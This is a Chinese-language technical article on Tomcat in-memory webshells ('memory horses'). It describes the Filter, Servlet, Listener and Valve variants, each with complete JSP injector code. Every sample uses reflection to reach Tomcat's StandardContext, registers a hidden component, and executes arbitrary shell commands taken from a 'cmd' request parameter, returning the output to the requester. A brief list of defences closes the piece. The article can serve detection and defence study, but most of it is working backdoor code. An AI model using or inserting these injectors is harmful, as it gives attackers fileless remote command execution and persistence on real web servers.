Tomcat内存码实现原理
字数 1560 2025-08-10 08:28:09
Tomcat内存马实现原理详解
一、内存马概述
Webshell内存马是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马。与传统基于文件的Webshell不同,内存马利用中间件的进程执行恶意代码,不会有文件落地,给检测带来巨大难度。
内存马主要类型
-
Servlet-API型
- Filter型
- Servlet型
- Listener型
-
字节码增强型
- 通过Java的Instrumentation动态修改已有代码
-
Spring类
- 拦截器型
- Controller型
二、Tomcat基本架构
Tomcat中有4类容器组件,从上至下依次是:
- Engine - 最顶层容器组件,实现类为
org.apache.catalina.core.StandardEngine - Host - 代表一个虚拟主机,实现类为
org.apache.catalina.core.StandardHost - Context - 代表一个Web应用,实现类为
org.apache.catalina.core.StandardContext - Wrapper - 代表一个Servlet,实现类为
org.apache.catalina.core.StandardWrapper
三、Filter型内存马实现
实现原理
在Web容器中创建含有恶意代码的Filter,在请求传递到Servlet前拦截并执行恶意代码。
关键步骤
- 创建恶意Filter类
- 构造相应的FilterDef
- 通过将FilterDef传入ApplicationFilterConfig创建Filter并加入filterConfigs
- 创建相应的FilterMaps,并将恶意Filter放在最前
具体实现代码
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
final String name = "shell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 创建恶意filter
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {}
};
// 创建FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建FilterMap并放在最前
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 创建filterConfig实例
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
四、Servlet型内存马实现
实现原理
注册一个恶意的Servlet,与Filter相似,但创建过程不同。
关键步骤
- 创建恶意的Servlet实例
- 获取StandardContext实例
- 调用createWrapper方法并设置相应参数
- 调用addChild函数
- 调用addServletMappingDecoded方法将Servlet与URL绑定
具体实现代码
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%
final String name = "servletshell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {}
@Override
public ServletConfig getServletConfig() { return null; }
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() { return null; }
@Override
public void destroy() {}
};
org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/shell123",name);
%>
五、Listener型内存马实现
实现原理
利用ServletRequestListener监听请求事件,在请求创建或销毁时执行恶意代码。
关键步骤
- 创建恶意Listener
- 获取StandardContext
- 调用addApplicationListener方法添加Listener
具体实现代码
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%
final String name = "servletshell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
try {
InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
PrintWriter out= request.getResponse().getWriter();
out.println(output);
out.flush();
out.close();
} catch (Exception e) {}
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {}
};
standardContext.addApplicationEventListener(listener);
%>
六、Valve型内存马实现
实现原理
在四大容器中,容器之间request的传递是由pipeline串联起来的,而其中的标准valve存储了invoke方法,实现了具体逻辑。通过创建恶意valve并添加到pipeline中,可以在请求传递过程中执行恶意代码。
关键步骤
- 创建恶意Valve类,重写invoke方法
- 获取StandardContext
- 调用getPipeline().addValve()方法添加恶意Valve
具体实现代码
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
public final class myvalve implements Valve{
@Override
public void backgroundProcess() {}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
return;
}
this.getNext().invoke(request,response);
}
@Override
public boolean isAsyncSupported() { return false; }
}
%>
<%
final String name = "shell";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
myvalve myvalve = new myvalve();
standardContext.getPipeline().addValve(myvalve);
%>
七、防御措施
- 代码审计:检查应用是否存在任意文件上传、反序列化等漏洞
- 运行时监控:监控JVM中动态加载的类、Filter、Servlet、Listener等组件
- 权限控制:限制应用对Tomcat内部API的访问权限
- 安全加固:禁用不必要的反射功能,限制JSP执行权限
- 行为检测:检测异常的进程创建、命令执行等行为
八、总结
Tomcat内存马主要通过动态注册恶意组件实现无文件持久化,主要包括Filter型、Servlet型、Listener型和Valve型四种实现方式。防御这类攻击需要从漏洞修复、权限控制和行为监控等多方面入手。